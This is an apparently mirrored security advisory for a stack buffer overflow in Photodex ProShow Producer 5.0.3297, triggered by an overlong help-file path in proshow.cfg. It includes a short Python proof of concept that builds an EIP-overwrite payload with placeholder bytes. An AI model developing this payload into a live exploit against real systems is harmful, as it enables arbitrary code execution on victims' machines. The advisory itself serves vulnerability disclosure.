Lucene search
K

Photodex ProShow Producers 5.0.3297 Local Buffer Overflow Vulnerability

🗓️ 29 Jan 2013 00:00:00Reported by Julien AhrensType 
zdt
 zdt
🔗 0day.today👁 16 Views

Photodex ProShow Producer v5.0.3297 stack-based buffer overflow in ExpandMacroFilename function via proshow.cfg and proshow.phd files allows arbitrary code executio

Code
1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2013-01-26
Date published: 2013-01-26
CVSSv2 Score:   4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A stack-based buffer overflow vulnerability has been identified in
Photodex ProShow Producer v5.0.3297.

When opening the application help via the menu, the application loads
the location of the help file from the file "proshow.cfg". If the file
"proshow.phd" also exists, the values are crosschecked.

The ExpandMacroFilename function does not properly validate the length
of the string loaded from the "cpicHelpFile" identifier from the config
file before using it in the further application context, which leads to
a stack-based buffer overflow condition.

Vulnerable function definition:
int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size)

An attacker needs to force the victim to place an arbitrary
"proshow.cfg" and/or "proshow.phd" file into the application directory
to execute arbitrary code.


5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into the proshow.cfg
and/or proshow.phd to trigger the vulnerability.

#!/usr/bin/python
file="poc.txt"

junk1="\x41" * 238
eip="\x42" * 4
junk2="\xCC" * 100

poc=junk1 + eip + junk2

try:
    print ("[*] Creating exploit file...\n");
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print ("[*] File successfully created!");
except:
    print ("[!] Error while creating file!");


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/45


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2013-01-26: Discovery of the vulnerability
2013-01-26: Full Disclosure because the vendor ignored previous reports.

#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation